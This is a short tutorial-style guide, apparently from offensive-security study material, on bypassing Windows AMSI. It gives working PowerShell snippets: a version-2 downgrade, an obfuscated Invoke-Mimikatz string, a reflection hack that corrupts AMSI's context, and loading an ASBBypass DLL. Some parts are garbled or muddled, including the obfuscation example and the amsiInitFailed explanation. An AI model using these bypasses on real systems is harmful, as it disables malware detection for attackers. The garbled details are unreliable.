Bypassing Antimalware Scan Interface

AMSI (Antimalware Scan Interface) Bypass Techniques

AMSI (Antimalware Scan Interface) is a Windows API that enhances malware protection in Windows applications. It can be integrated with compatible antimalware software in the system to enhance detection capabilities, including signature- and reputation-based detection. However, attackers can bypass Windows AMSI by manipulating elements such as URLs, functions, or internal files. Below are common techniques used to bypass AMSI:

Techniques for AMSI Bypass

1. PowerShell Downgrade:

   • Attackers can downgrade the PowerShell version to 2.0 to evade AMSI detections. This allows them to execute malicious commands (such as amsiutils) that would normally be blocked by AMSI.
   • Command to downgrade PowerShell version:

     powershell -version 2
     

2. Obfuscation:

   • Obfuscation involves making code complex and unreadable to bypass AMSI detection. Attackers can break strings and concatenate them using the + operator, making it harder for AMSI to detect malicious behavior.
   • Tools like AmsiTrigger can be used to scan scripts against AMSI to identify triggering lines for targeted obfuscation.
   • Example to obfuscate the invoke-mimikatz command:

     Invoke-Mimikatz "Inv”+"o”+"ke"+"-Mimi"+"katz"
     

3. Forcing an Error:

   • In this technique, when an AMSI scan is initiated, the [amsiInitFailed|amsiInitFailed] function returns 0, indicating successful initialization. Attackers can modify this function to return a “Boolean True” value, causing an error during AMSI initialization and bypassing AMSI.
   • Commands to bypass AMSI detection by forcing an error:

     $mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
     [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession", "NonPublic,Static").SetValue($null, $null);
     [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext", "NonPublic,Static").SetValue($null, [IntPtr]$mem);
     

4. Memory Hijacking:

   • Attackers can manipulate the internal functions of AMSI using memory hijacking techniques. This involves hooking the AmsiScanBuffer() function and forcing it to always return AMSI_RESULT_CLEAN, which indicates that AMSI has found no signs of malware.
   • Commands to bypass AMSI detection by loading the ASBBypass.dll file:

     [System.Reflection.Assembly]::LoadFile("<Path to ASBBypass.dll file>")
     [Amsi]::Bypass()